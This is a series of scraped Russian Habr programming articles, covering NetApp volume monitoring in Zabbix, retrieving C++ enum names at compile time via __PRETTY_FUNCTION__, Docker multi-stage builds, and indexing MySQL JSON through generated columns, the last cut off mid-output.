* `\4 - Other operations per second on {#VOLUME_NAME}` — другие операции в секунду (не знаю, что это, но зачем-то снимаю);
* `\5 - Read throughput in bytes per second on {#VOLUME_NAME}` — скорость чтения в байтах в секунду;
* `\6 - Write throughput in bytes per second on {#VOLUME_NAME}` — скорость записи в байтах в секунду;
* `\7 - Average latency for an operation in microseconds on {#VOLUME_NAME}` — средняя задержка операций в микросекундах.
Алертинг
--------
Набор триггеров стандартный, место и иноды:
[](https://habrastorage.org/webt/bt/xa/ly/btxalyyccegjbgn9ekxdy6ulr48.png)
* Free disk space less than 1% on {#VOLUME\_NAME}
* Free disk space less than 5% on {#VOLUME\_NAME}
* Free disk space less than 10% on {#VOLUME\_NAME}
* Free inodes less than 1% on {#VOLUME\_NAME}
* Free inodes less than 5% on {#VOLUME\_NAME}
* Free inodes less than 10% on {#VOLUME\_NAME}
Визуализация
------------
Визуализация приходится, в основном, на [Grafana](https://grafana.com/), это красиво и удобно. На примере одного тома выглядит примерно так:
[](https://habrastorage.org/webt/mw/tt/cj/mwttcjuwvqt1u-g8bobe6oxpimi.png)
В правом верхнем углу есть кнопка *Show in Zabbix*, с помощью которой можно провалиться в Zabbix и увидеть все метрики по выбранному тому.
Итоги
-----
* Автоматическая постановка томов на мониторинг.
* Автоматическое удаление томов из мониторинга, в случае удаление тома с NetApp.
* Избавились от привязки к одному серверу и ручному монтированию томов.
* Добавились метрики производительности по каждому тому. Теперь мы реже дергаем поддержку датацентра ради графиков с NetApp.
Скоро обещают обновить ONTAP и завезти расширенный API, шаблон переедет на [HTTP-агент](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/http).
Шаблон, скрипт и дашборд
------------------------
[github.com/domclick/netapp-volume-monitoring](https://github.com/domclick/netapp-volume-monitoring)
Полезные ссылки
---------------
[docs.netapp.com/ontap-9/index.jsp](https://docs.netapp.com/ontap-9/index.jsp)
[www.zabbix.com/documentation/current](https://www.zabbix.com/documentation/current/) | https://habr.com/ru/post/517206/ | null | ru | null |
# Имя enum'a C++ в рантайме
Получение имени типа, не важно это структура или перечисление, в C++ — проблема. То, что тривиально известно компилятору на этапе парсинга исходников, не получится перевести в человеко-читаемый вид в рантайме. Можно использовать std::type\_info::name, который не является переносимым решением, потому что зависит от реализации манглинга в компиляторе. Некоторые компиляторы (например, MSVC, IBM, Oracle) создают "удобное" имя типа, а вот gcc и clang, возвращают искаженное имя, котороe можно преобразовать в удобочитаемую форму с помощью дополнительных функций, например abi::\_\_cxa\_demangle. Чтобы вся эта магия работала нужно подключить RTTI, который тоже не всегда доступен, а иногда и вообще-то вреден, потому что сжирает драгоценную производительность
---
В языке программирования С++ отсутствует какая-либо реальная форма рефлексии, и только в С++20 появились пропозалы (<https://en.cppreference.com/w/cpp/keyword/reflexpr>), чтобы добавить в язык нативные средства для этого. Вот как-то так выдает clang данные по классам.
```
#include
#include
#include
struct Simple { };
struct Base { virtual ~Base() = default; };
struct Derived : Base {};
enum Enum { one = 4, two = 2 };
int main() {
Base b1;
Derived d1;
Simple c1;
Enum eenum;
const Base \*pb = &b1
std::cout << typeid(\*pb).name() << '\n';
pb = &d1
std::cout << typeid(\*pb).name() << '\n';
std::cout << typeid(eenum).name() << '\n';
std::cout << typeid(c1).name() << '\n';
int status;
char \*realname;
realname = abi::\_\_cxa\_demangle(typeid(\*pb).name(), 0, 0, &status);
std::cout << typeid(\*pb).name() << "\t=> " << realname << "\t: " << status << '\n';
}
$> 4Base
7Derived
4Enum
6Simple
7Derived => Derived : 0
```
Т.е. компилятор все эти данные хранит в памяти и мы можем использовать их, чтобы достать и обработать нужным нам образом.
**Можно ли получить тип через макрос?**
Ну в принципе можно, только пользы от этого будет немного. Повторюсь, не существует каких-либо явных языковых конструкций, дающих имя типа вне **typeid**, поэтому придется искать другие возможности. Простейшее решение будет превратить в строку сам тип.
```
#define TYPE_NAME(x) #x
std::cout << TYPE_NAME(std::string) << std::endl;
```
Вы понимаете, конечно, что будет напечатано в консоль, только это все будет работать для явно указанных типов. Макросу все равно, что превращать в строку, хоть слона, хоть моську. Поэтому ломается уже на примере чуть посложнее.
```
template
void print(int x) {
std::cout << TYPE\_NAME(T) << std::endl;
std::cout << TYPE\_NAME(decltype(x)) << std::endl;
}
$> T
decltype(x)
```
**Можно ли получить тип через шаблон?**
```
template
void bad\_function();
```
Если вы когда-нибудь ошибались в написании шаблона, то наверняка видели большую простыню текст ошибки, в конце которой было про `bad_function()`, т.е. компилятор достал и имя шаблонной функции и имя её параметра.
Здесь была шутка про плюсы.Может ли это работать вне вывода ошибок компилятора? Исследуя возможность достать имя типа или энама, или значения энама в процессе компиляции, я наткнулся на сервисную переменную **\_\_function\_\_**. Что по этой функции говорит документация? Компилятор определяет в удобном для него виде содержимое в месте объявления, например для вывода ошибок или предупреждений.
```
clang __function__
__FUNCTION__ Defined as a string literal that contains the undecorated name of the
enclosing function. The macro is defined only within a function. The __FUNCTION__
macro isn't expanded if you use the /EP or /P compiler option. For an example of
usage, see the __FUNCNAME__ macro.
__PRETTY_FUNCTION__ clang
__PRETTY_FUNCTION__ is a gcc extension that is mostly the same as __FUNCTION__,
except that for C++ functions it contains the "pretty" name of the function including
the signature of the function. Visual C++ has a similar (but not quite identical)
extension, __FUNCSIG__ .
```
**(**<https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2004/n1642.html>)**,** Эта скрытая переменная,которая существует внутри места вызова как **const char\*** . Она также содержит дополнительную информацию о перегрузке и шаблонах, давайте посмотрим что можно с этим сделать.
```
struct Simple { };
template
std::string test() {
return \_\_PRETTY\_FUNCTION\_\_;
}
int main() {
std::cout << test() << std::endl;
std::cout << test() << std::endl;
}
$> std::string test() [with T = std::\_\_cxx11::basic\_string; std::string = std::\_\_cxx11::basic\_string]
std::string test() [with T = Simple; std::string = std::\_\_cxx11::basic\_string]
```
C такой логикой уже можно работать. Попробуем написать простой парсер, который вытаскивает из этой строки нужные данные. Для этого можно использовать функции класса **string** для поиска подстроки. Поиск выглядит немного тяжеловатым, и пока не работает на этапе компиляции, но мы обязательно к этому придем.
```
struct Simple { };
template
struct TypeNameHelper {
static std::string TypeName(void) {
const auto prefix = std::string{"[with T = "};
const auto suffix = std::string{";"};
const auto function = std::string{\_\_PRETTY\_FUNCTION\_\_};
const auto start = function.find(prefix) + prefix.size();
const auto end = function.rfind(suffix);
const auto result = function.substr(start, (end - start));
return result;
}
};
template
std::string TypeName(void) {
return TypeNameHelper::TypeName();
}
$> std::\_\_cxx11::basic\_string
Simple
```
Еще стоит убедиться, что компилятор не убирает полное имя функции при сборке с оптимизациями, иначе можем получить пустые строки в с -O2/3 ключами. На сборке с оптимизациями все строки на месте с -O3 (<https://onlinegdb.com/cjE1_rU9I>) тоже. Немного изменим код, чтобы можно было просматривать вывод для разных типов данных и сохранять его для работы.
```
enum test_enum { te_first, te_second, te_third, te_count };
int main() {
std::cout << TypeName() << std::endl;
}
$> test\_enum
```
Вот в выводе уже появился читаемый тип энама, осталось вытащить его значение. Для этого надо добавить в шаблон еще один параметр со значением энама, магии шаблонов еще нет, она будет чуть позже.
```
template
struct TypeNameHelper {
static const char\* TypeName(void) {
static const size\_t size = sizeof(\_\_PRETTY\_FUNCTION\_\_);
static char typeName[size] = {};
memcpy(typeName, \_\_PRETTY\_FUNCTION\_\_ , size - 1u);
return typeName;
}
};
template
const char\* TypeName(void) {
return TypeNameHelper::TypeName();
}
enum test\_enum { te\_first, te\_second, te\_third, te\_count };
int main() {
std::cout << TypeName() << std::endl;
}
$> test\_enum; T V = te\_first
```
Теперь возвращаясь к задаче из заголовка, кроме самого типа нужно получить и все значения, обычно чтобы сформировать некоторую последовательность и привести её к массиву используется **std::integer\_sequence** и fold expressions, так например можно заполнить массив натуральными числами. Конечно это немного ломается, если энам сделан с "дырками".
```
template
void print\_sequence(std::integer\_sequence int\_seq) {
std::cout << "The sequence of size " << int\_seq.size() << ": ";
((std::cout << ints << ' '), ...);
std::cout << '\n';
}
int main() {
print\_sequence(std::make\_integer\_sequence{});
}
$> The sequence of size 20: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
```
Собирая все мысли в кучу начинаем продумывать возможное решение:
1. развернуть энам от первого до последнего элемента в массив через **std::integer\_sequence** 2. пройти по полученному массиву и вызвать параметризированный **TypeName** для каждого элемента, сохранить или обработать вывод
3. сформировать набор структур { имя, значение } для итерации по элементам
**Разворачиваем значения энама в массив (несложно)**
Чтобы не утомлять читателя проектированием и отладкой, буду выкладывать уже готовые классы и пояснять отдельные моменты. Как оказалось убедить компилятор превратить энам в строку не столько сложно, сколько долго в плане протаскивания параметров через десяток шаблонов от шаблонов. В конечном итоге я добился работы, но только для кланга и студии, c gcc, увы, не получилось.
* count\_values - простой рекурсивный подсчет числа значений в энаме
* make\_tokens - формирует массив значений из энама и копирует их в представление вида { имя, значение }
* tokens - содержит все значения из энама, и их текстовое представление
* make\_name - c помощью \_\_PRETTY\_FUNCTION\_\_ превращает значение в строку
* token\_holder - сервисный класс, чтобы скрыть работу с шаблонами
```
struct token {
const char * name;
s32 id;
};
template
struct token\_holder {
constexpr static inline int count\_values(enum\_type type) {
return (type != end)
? count\_values((enum\_type)(s32(type)+1))
: (s32(type)+1);
}
static constexpr u32 N = count\_values(begin);
using tokens = std::array; // because have {0, 0} in last element
template
constexpr token make\_name() {
return { enum\_name().name(), enum\_value };
}
template
constexpr tokens make\_tokens\_helper(std::integer\_sequence) {
tokens ts = { make\_name()... };
ts[N] = {0, 0};
return ts;
}
template
constexpr tokens make\_tokens() {
return make\_tokens\_helper( std::make\_integer\_sequence{});
}
constexpr operator const token \*() const { return values.unsafe\_ptr(); }
constexpr token \*data() const { return values.unsafe\_ptr(); }
constexpr token\_holder() : values{make\_tokens()} {}
tokens values;
};
```
**Превращаем значение энама в строку (посложнее)**
Смотрим во что превращается завернутый в шаблон энам, например вот такое
```
static const char *enum_name::helper\_name()
[enum\_type = test\_enum, enum\_value = te\_first, value = te\_first]
```
и ищем последнее вхождение символа **"="**, копируем все содержимое до конца. static квалификаторы тут нужны, чтобы значения оставались в памяти после выхода из функции.
```
template
class enum\_name final {
// Helper function that directly takes an enum\_type value template parameter to get the name of the classes template enum type value as a string.
template
static const char\* helper\_name() {
// Clang compiler format: \_\_PRETTY\_FUNCTION\_\_
// = static const char \*enum\_name::helper\_value() [enum\_type = ENUM\_TYPE\_NAME, enum\_value = ENUM\_TYPE\_NAME::ENUM\_VALUE\_NAME, value = ENUM\_TYPE\_NAME::ENUM\_VALUE\_NAME]
// static const char \*enum\_name::helper\_name() [enum\_type = test\_enum, enum\_value = te\_first, value = te\_first]
// MSVC compiler format: \_\_FUNCSIG\_\_
// = const char \*\_\_cdecl enum\_name::helper\_value(void)
// const char \*\_\_cdecl enum\_name::helper\_name(void)
static const unsigned long long function\_name\_length = sizeof(\_\_PRETTY\_FUNCTION\_\_);
static const std::string function\_name(\_\_PRETTY\_FUNCTION\_\_);
static const unsigned long long type\_name\_start = function\_name.rfind('=') + 2;
static const unsigned long long type\_name\_end = function\_name\_length - 2;
static const unsigned long long type\_name\_length = type\_name\_end - type\_name\_start;
static const std::string type\_name\_string = function\_name.substr((size\_t)type\_name\_start, (size\_t)type\_name\_length);
return type\_name\_string.c\_str();
}
public:
static const char\* name() { return helper\_name(); } // Get the name of the classes template enum type and value as a string.
};
```
В таком виде, этот код уже выводит значения энамов (<https://onlinegdb.com/YpqJ1byp5>)
**Избавляемся от string (не очень сложно)**
Можно сделать через std::string\_view, но это будет не так интересно. От класса **string** понадобились только функции хранения символов, **rfind** и **substr**. **\_\_PRETTY\_FUNCTION\_\_** существует на момент компиляции, так что мы можем написать небольшой сервисный класс который а) хранит строку и б) без динамической алокации, ну и напишем нужные функции для работы с подстрокой. Воспользоваться memcpy, или циклами в constexpr для копирования и поиска данных не получится, но цикл можно превратить в рекурсию с параметром, реализовав таким образом функцию **rfind** (этож компайл тайм, кто его считает это время на разворачивание шаблона). А вот substr я сделать не смог, пришлось гуглить решение (<https://stackoverflow.com/questions/56471708/c-compile-time-substring>) и смотреть как сделано в std::string\_view. Ну и добавим **с\_str**(), куда же без этой легендарной функции в плюсах. **constexpr** в вызовахнужен, чтобы компилятор смог подсчитать размеры массивов при инстанциации шаблонов, в местах вызова на этапе компиляции.
```
template
class string\_literal final {
const char string[length];
public:
template
const string\_literal(const char(&raw\_string)[sizeof...(indexes)], std::integer\_sequence index\_sequence) : string{ raw\_string[indexes]... } {
static\_cast(index\_sequence);
}
constexpr const char\* c\_str() const { return this->string; }
template
constexpr const string\_literal substr(std::integer\_sequence substring\_index\_sequence) const {
static\_cast(substring\_index\_sequence);
return string\_literal({ this->string[substring\_start + substring\_indexes]..., '\0' }, std::make\_integer\_sequence{});
}
constexpr unsigned long long find(const char character, const unsigned long long starting\_index = 0) const {
return ((starting\_index >= length)
? 0xFFFFFFFFFFFFFFFF
: ((this->string[starting\_index] == character)
? starting\_index
: this->find(character, starting\_index + 1)));
}
constexpr unsigned long long rfind(const char character, const unsigned long long starting\_index = length - 1) const {
return ((starting\_index == 0)
? ((this->string[starting\_index] == character)
? starting\_index
: 0xFFFFFFFFFFFFFFFF)
: ((this->string[starting\_index] == character)
? starting\_index
: this->rfind(character, starting\_index - 1)));
}
};
```
Теперь, собрав все части головоломки вместе, можно написать решение для превращения enum'а в строку. На выходе получается массив, по которому можно поитерироваться в поисках нужного значения и также он содержит строковое представление его имени.
```
enum test_enum { te_first, te_second, te_third, te_count };
int main() {
const token_holder test\_tokens;
for (auto &s: test\_tokens.values)
std::cout << "{" << (s.name ? s.name : "null")
<< ", " << s.id << " }"
<< std::endl;
}
$> {te\_first, 0 }
{te\_second, 1 }
{te\_third, 2 }
{te\_count, 3 }
{null, 0 }
```
**Вместо выводов**
Никакого мошенничества, только черная магия. Хотя может не быть какого-либо встроенного средства для получения полного имени типа объекта во время компиляции, можно подхачить сам язык (я обожаю плюсы за то, что можно творить такую дичь), чтобы достигнуть нужного результата. Было ли это полезно и потащу ли это в прод: вряд ли, было ли это интересно - однозначно. Если нужно готовое решение, поищите magic\_enum на гитхабе, но ему будет нужен с++17 для работы, я же пока не нагулялся по землям драконов 11\14 стандарта.
З.Ы. код тут (<https://github.com/dalerank/tokenum>) | https://habr.com/ru/post/697198/ | null | ru | null |
# Многоэтапные (multi-stage builds) сборки в Docker
Docker начиная с версии 17.05 и выше стал поддерживать многоэтапные сборки (multi-stage builds). С удивлением обнаружил, что никто еще не написал об этом на хабре. Поэтому давайте исправим этот пробел.
Изменения будут особенно полезны тем, кто собирает образы (images) на базе уже существующих и кому необходимо поддерживать их минимальный размер.
Каждый, кто собирал docker images знает, что практически каждая инструкция в Dockerfile добавляет отдельный слой и вам необходимо очистить этот слой от всех лишних артефактов, перед тем как добавить новый слой. Поэтому чтобы создать действительно эффективный Dockerfile раньше вам традиционно предлагали использовать скрипты и другую логику, чтобы поддерживать минимально возможный размер слоя. Обычной практикой было использовалось несколько Dockerfile в зависимости от целей сборки образа — один файл для DEVELOPMENT с определенным набором средства для отладки, профайлинга и всего остального и другой образ, гораздо меньшего размера для развертывания приложения на STAGING или PRODUCTION, с набором компонентов, необходимых для работы приложения.
Допустим у нас есть простой “hello world” HTTP-server, который нужно собраться и запустить тесты, а после собрать минимальные docker образ, которые содержит только исполняемые файлы.
Пример можно взять [отсюда](https://gowebexamples.com/hello-world/)
Минимальный Dockerfile у нас будет выглядеть вот так.
Dockerfile:
```
FROM golang:latest
COPY . .
RUN go test && go build ./src/main.go
```
Давайте соберем и запустим образ:
```
docker image build -t hello_world:build .
```
Если посмотреть метаданные образа: docker image inspect hello\_world:build то видно, что он состоит из 6 отдельный слоев и занимает около 800MB. И это только Hello World, а какой размер может быть у реального приложение можно только представить. Поэтому для PRODUCTION уже имеет смысл собрать образ только из исполняемых файлов.
В результате вы должны запустить вот такую последовательность команд:
Запустить базовый контейнер:
```
docker container run -it --name hello_world hello_world:build
```
Создать новый контейнер на базе уже существующего и скопировать бинарные файлы:
```
docker create --name extract hello_world:build
mkdir ./Production/
docker cp extract:/go/main ./Production/main
docker rm -f extract
docker rm -f hello_world
```
Создать PRODUCTION контейнер, содержащий только необходимые файлы для работы приложения:
```
docker build --no-cache -t hello_world:latest ./Production/
rm ./Production
```
Процесс может отличаться в зависимости от ваших требований, но в целом он будет так или иначе включать подобные шаги.
Так вот много-этапные (multi-stage builds) сборки позволяют значительно упростить этот процесс и описать его внутри Dockerfile. Каждая инструкция FROM может использовать индивидуальный базовый образ и каждая из них начинает новую стадию сборки docker образа. Но основное преимущество, что вы можете копировать необходимые артефакты из одной стадии в другую. В результате все вышеперечисленные шаги могут быть описаны вот так
Dockerfile:
```
FROM golang:latest as build
COPY . .
RUN go build ./src/main.go
FROM alpine:latest as production
COPY --from=build /go/main .
CMD ["./main"]
```
И все что вам остается, это выполнить команду:
```
docker image build -t hello_world:latest .
```
***Note:** отдельно стоит добавить, что к предыдущим образам вы можете обращаться как по алиасу указанному в инструкции FROM golang:latest as build — как в примере выше COPY -**-from=build** /go/main ., так и по индексу COPY **--from=0** /go/main .*
Ссылки:
* [Use multi-stage builds](https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/) | https://habr.com/ru/post/349802/ | null | ru | null |
# Продвинутая работа с JSON в MySQL
У MySQL нет возможности напрямую индексировать документы JSON, но есть альтернатива: генерируемые столбцы.
С момента введения поддержки типа данных JSON в MySQL 5.7.8 не хватает одной вещи: способности индексировать значения JSON. Для того, чтобы обойти это ограничение, можно использовать генерируемые столбцы. Эта возможность, представленная в MySQL 5.7.5, позволяет разработчикам создавать столбцы, содержащие информацию, полученную из других столбцов, предопределенных выражений или вычислений. Генерируя столбец из значений JSON, а затем индексируя его, можно практически индексировать поле с JSON.
Набор данных в формате JSON, используемый в данной статье, можно скачать [на Гитхабе](https://github.com/compose-ex/mysql-json-indexing-generated-columns). Он содержит список игроков со следующими элементами: идентификатор игрока, его имя и игры, в которые он играл (Battlefield, Crazy Tennis и Puzzler).
```
{
"id":1,
"name":"Sally",
"games_played":{
"Battlefield":{
"weapon":"sniper rifle",
"rank":"Sergeant V",
"level":20
},
"Crazy Tennis":{
"won":4,
"lost":1
},
"Puzzler":{
"time":7
}
}
},
…
```
Поле Battlefield содержит любимое оружие игрока, его текущий ранг и уровень этого ранга. Crazy Tennis включает в себя количество выигранных и проигранных игр, а Puzzler содержит время, затраченное игроком на прохождение игры. Создадим начальную таблицу:
```
CREATE TABLE `players` (
`id` INT UNSIGNED NOT NULL,
`player_and_games` JSON NOT NULL,
PRIMARY KEY (`id`)
);
```
Этот запрос создает таблицу `players`, состоящую из идентификатора и JSON-данных, а также устанавливает в поле `id` первичный ключ.
Нужно построить индекс по полю с JSON. Давайте посмотрим, что нужно добавить в команду `CREATE TABLE`.
Генерация столбцов
------------------
Для создания генерируемых столбцов в операторе `CREATE TABLE` используется следующий синтаксис:
```
`column_name` datatype GENERATED ALWAYS AS (expression)
```
Ключевыми словами здесь являются `GENERATED ALWAYS` и `AS`. Фраза `GENERATED ALWAYS` необязательна. Она необходима только в том случае, если вы хотите явно указать, что этот столбец таблицы — генерируемый. Необходимо, чтобы слово `AS` сопровождалось выражением, которое вернет значение для генерируемого столбца.
Начнем с этого:
```
`names_virtual` VARCHAR(20) GENERATED ALWAYS AS ...
```
Cоздаем столбец с именем `names_virtual` длиной до 20 символов, в котором будем хранить значение поля «name» из объекта JSON. Обращаться к полю «name» в JSON будем с использованием MySQL-оператора `->>`, который эквивалентен написанию `JSON_UNQUOTE (JSON_EXTRACT (...))`. Эта конструкция вернет значение поля «name» из объекта JSON в качестве результата.
```
`names_virtual` VARCHAR(20) GENERATED ALWAYS AS (`player_and_games` ->> '$.name')
```
Этот код означает, что мы берём поле c JSON `player_and_games` и извлекаем значение из JSON по ключу «name» — дочернее по отношению к корню.
Как и в большинстве определений столбцов, существует ряд ограничений и параметров, которые можно применить к столбцу.
```
[VIRTUAL|STORED] [UNIQUE [KEY]] [[NOT] NULL] [[PRIMARY] KEY]
```
Уникальные для генерируемых столбцов ключевые слова `VIRTUAL` и `STORED` указывают на то, будут ли значения сохраняться в таблице.
Ключевое слово `VIRTUAL` используется по умолчанию. Оно означает, что значения столбца не сохраняются и не занимают место для хранения. Они вычисляются при каждом чтении строки. Если вы создаете индекс с виртуальным столбцом, значение всё же сохраняется — в индексе.
Ключевое слово `STORED` указывает, что значения вычисляются при записи данных в таблицу: при вставке или обновлении. В этом случае индексу не нужно сохранять значение.
Другие параметры — необязательные ограничения, которые гарантируют, что значения поля будут `NULL` или `NOT NULL`, а также добавления ограничений на индекс, например, `UNIQUE` или `PRIMARY KEY`. Для гарантии существования значения следует использовать `NOT NULL` при создании столбца, однако ограничения зависят от варианта использования. В примере будет использоваться `NOT NULL`, так как у игроков обязательно есть имя.
Запрос, создающий таблицу:
```
CREATE TABLE `players` (
`id` INT UNSIGNED NOT NULL,
`player_and_games` JSON NOT NULL,
`names_virtual` VARCHAR(20) GENERATED ALWAYS AS (`player_and_games` ->> '$.name') NOT NULL,
PRIMARY KEY (`id`)
);
```
Заполнение таблицы тестовыми данными:
```
INSERT INTO `players` (`id`, `player_and_games`) VALUES (1, '{
"id": 1,
"name": "Sally",
"games_played":{
"Battlefield": {
"weapon": "sniper rifle",
"rank": "Sergeant V",
"level": 20
},
"Crazy Tennis": {
"won": 4,
"lost": 1
},
"Puzzler": {
"time": 7
}
}
}'
);
...
```
Содержимое таблицы `players` на [Гисте](https://gist.github.com/win0err/a4f75528217e6547468551d0f942aae5#file-1-sql) или…
**С поехавшим форматированием**
```
SELECT * FROM `players`;
+----+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| id | player_and_games | names_virtual |
+----+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| 1 | {"id": 1, "name": "Sally", "games_played": {"Puzzler": {"time": 7}, "Battlefield": {"rank": "Sergeant V", "level": 20, "weapon": "sniper rifle"}, "Crazy Tennis": {"won": 4, "lost": 1}}} | Sally |
| 2 | {"id": 2, "name": "Thom", "games_played": {"Puzzler": {"time": 25}, "Battlefield": {"rank": "Major General VIII", "level": 127, "weapon": "carbine"}, "Crazy Tennis": {"won": 10, "lost": 30}}} | Thom |
| 3 | {"id": 3, "name": "Ali", "games_played": {"Puzzler": {"time": 12}, "Battlefield": {"rank": "First Sergeant II", "level": 37, "weapon": "machine gun"}, "Crazy Tennis": {"won": 30, "lost": 21}}} | Ali |
| 4 | {"id": 4, "name": "Alfred", "games_played": {"Puzzler": {"time": 10}, "Battlefield": {"rank": "Chief Warrant Officer Five III", "level": 73, "weapon": "pistol"}, "Crazy Tennis": {"won": 47, "lost": 2}}} | Alfred |
| 5 | {"id": 5, "name": "Phil", "games_played": {"Puzzler": {"time": 7}, "Battlefield": {"rank": "Lt. Colonel III", "level": 98, "weapon": "assault rifle"}, "Crazy Tennis": {"won": 130, "lost": 75}}} | Phil |
| 6 | {"id": 6, "name": "Henry", "games_played": {"Puzzler": {"time": 17}, "Battlefield": {"rank": "Captain II", "level": 87, "weapon": "assault rifle"}, "Crazy Tennis": {"won": 68, "lost": 149}}} | Henry |
+----+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
```
Таблица включает столбец `names_virtual`, в который вставлены все имена игроков. Структура таблицы `players`:
```
SHOW COLUMNS FROM `players`;
+------------------+------------------+------+-----+---------+-------------------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------------------+
| id | int(10) unsigned | NO | PRI | NULL | |
| player_and_games | json | NO | | NULL | |
| names_virtual | varchar(20) | NO | | NULL | VIRTUAL GENERATED |
+------------------+------------------+------+-----+---------+-------------------+
```
Поскольку мы не указали, является ли генерируемый столбец `VIRTUAL` или `STORED`, по умолчанию MySQL автоматически сделал столбец `VIRTUAL`. Чтобы проверить, являются ли столбцы `VIRTUAL` или `STORED`, просто запустите вышеуказанный запрос `SHOW COLUMNS`, и он покажет либо `VIRTUAL GENERATED`, либо `STORED GENERATED`.
Теперь, когда мы настроили таблицу и виртуальный столбец, добавим еще четыре столбца, используя операции `ALTER TABLE` и `ADD COLUMN`. Они будут содержать уровни Battlefield, выигранные и проигранные игры в теннис и время в Puzzler.
```
ALTER TABLE `players` ADD COLUMN `battlefield_level_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played.Battlefield.level') NOT NULL AFTER `names_virtual`;
ALTER TABLE `players` ADD COLUMN `tennis_won_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played."Crazy Tennis".won') NOT NULL AFTER `battlefield_level_virtual`;
ALTER TABLE `players` ADD COLUMN `tennis_lost_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played."Crazy Tennis".lost') NOT NULL AFTER `tennis_won_virtual`;
ALTER TABLE `players` ADD COLUMN `times_virtual` INT GENERATED ALWAYS AS (`player_and_games` ->> '$.games_played.Puzzler.time') NOT NULL AFTER `tennis_lost_virtual`;
```
Опять же, запустив запрос `SHOW COLUMNS FROM players;`, мы видим, что рядом с ними все столбцы указаны как `VIRTUAL GENERATED`. Это означает, что мы успешно настроили новые созданные `VIRTUAL` столбцы.
Код [Гисте](https://gist.github.com/win0err/a4f75528217e6547468551d0f942aae5#file-2-sql) или…
**С поехавшим форматированием**
```
+---------------------------+------------------+------+-----+---------+-------------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------------+------------------+------+-----+---------+-------------------+
| id | int(10) unsigned | NO | PRI | NULL | |
| player_and_games | json | NO | | NULL | |
| names_virtual | varchar(20) | NO | | NULL | VIRTUAL GENERATED |
| battlefield_level_virtual | int(11) | NO | | NULL | VIRTUAL GENERATED |
| tennis_won_virtual | int(11) | NO | | NULL | VIRTUAL GENERATED |
| tennis_lost_virtual | int(11) | NO | | NULL | VIRTUAL GENERATED |
| times_virtual | int(11) | NO | | NULL | VIRTUAL GENERATED |
+---------------------------+------------------+------+-----+---------+-------------------+
```
Выполнение запроса `SELECT` показывает нам все значения из `VIRTUAL COLUMNS`, которые должны выглядеть так:
Код [Гисте](https://gist.github.com/win0err/a4f75528217e6547468551d0f942aae5#file-3-sql) или…
**С поехавшим форматированием**
```
SELECT `names_virtual`, `battlefield_level_virtual`, `tennis_won_virtual`, `tennis_lost_virtual`, `times_virtual` FROM `players`;
+---------------+---------------------------+--------------------+---------------------+---------------+
| names_virtual | battlefield_level_virtual | tennis_won_virtual | tennis_lost_virtual | times_virtual |
+---------------+---------------------------+--------------------+---------------------+---------------+
| Sally | 20 | 4 | 1 | 7 |
| Thom | 127 | 10 | 30 | 25 |
| Ali | 37 | 30 | 21 | 12 |
| Alfred | 73 | 47 | 2 | 10 |
| Phil | 98 | 130 | 75 | 7 |
| Henry | 87 | 68 | 149 | 17 |
+---------------+---------------------------+--------------------+---------------------+---------------+
```
После добавления данные и создания генерируемых столбцов, мы можем создавать индекс для каждого из них, чтобы оптимизировать поиск…
Индексирование генерируемых столбцов
------------------------------------
При установке вторичных индексов на значения генерируемых столбцов `VIRTUAL` значения сохраняются в индексе. Это дает преимущества: размер таблицы не увеличивается, появляется возможность использования индексов в MySQL.
Давайте сделаем простой запрос к генерируемому столбцу, чтобы увидеть, как он выглядит, прежде чем индексировать его. Изучив детали запроса при выборе `names_virtual` и имени «Sally», получим следующее:
```
EXPLAIN SELECT * FROM `players` WHERE `names_virtual` = "Sally"\G
*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: players
partitions: NULL
type: ALL
possible_keys: NULL
key: NULL
key_len: NULL
ref: NULL
rows: 6
filtered: 16.67
Extra: Using where
```
Для этого запроса MySQL просматривает каждую строку, чтобы найти «Sally». Однако, можно получить совершенно другой результат, добавив индекс к столбцу:
```
CREATE INDEX `names_idx` ON `players`(`names_virtual`);
```
Теперь, выполняя тот же запрос, получаем:
```
EXPLAIN SELECT * FROM `players` WHERE `names_virtual` = "Sally"\G
*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: players
partitions: NULL
type: ref
possible_keys: names_idx
key: names_idx
key_len: 22
ref: const
rows: 1
filtered: 100.00
Extra: NULL
```
Как видно, индекс в столбце ускорил запрос, просматривая только одну строку вместо шести, используя индекс `names_idx`. Давайте создадим индексы для остальных виртуальных столбцов, следуя тому же синтаксису, что и `names_idx`:
```
CREATE INDEX `times_idx` ON `players`(`times_virtual`);
CREATE INDEX `won_idx` ON `players`(`tennis_won_virtual`);
CREATE INDEX `lost_idx` ON `players`(`tennis_lost_virtual`);
CREATE INDEX `level_idx` ON `players`(`battlefield_level_virtual`);
```
Можно проверить, были ли проиндексированы все наши столбцы, запустив:
Код [Гисте](https://gist.github.com/win0err/a4f75528217e6547468551d0f942aae5#file-4-sql) или…
**С поехавшим форматированием**
```
SHOW INDEX ON `players`;
+---------+------------+-----------+--------------+---------------------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+---------+------------+-----------+--------------+---------------------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| players | 0 | PRIMARY | 1 | id | A | 6 | NULL | NULL | | BTREE | | |
| players | 1 | names_idx | 1 | names_virtual | A | 6 | NULL | NULL | | BTREE | | |
| players | 1 | times_idx | 1 | times_virtual | A | 5 | NULL | NULL | | BTREE | | |
| players | 1 | won_idx | 1 | tennis_won_virtual | A | 6 | NULL | NULL | | BTREE | | |
| players | 1 | lost_idx | 1 | tennis_lost_virtual | A | 6 | NULL | NULL | | BTREE | | |
| players | 1 | level_idx | 1 | battlefield_level_virtual | A | 6 | NULL | NULL | | BTREE | | |
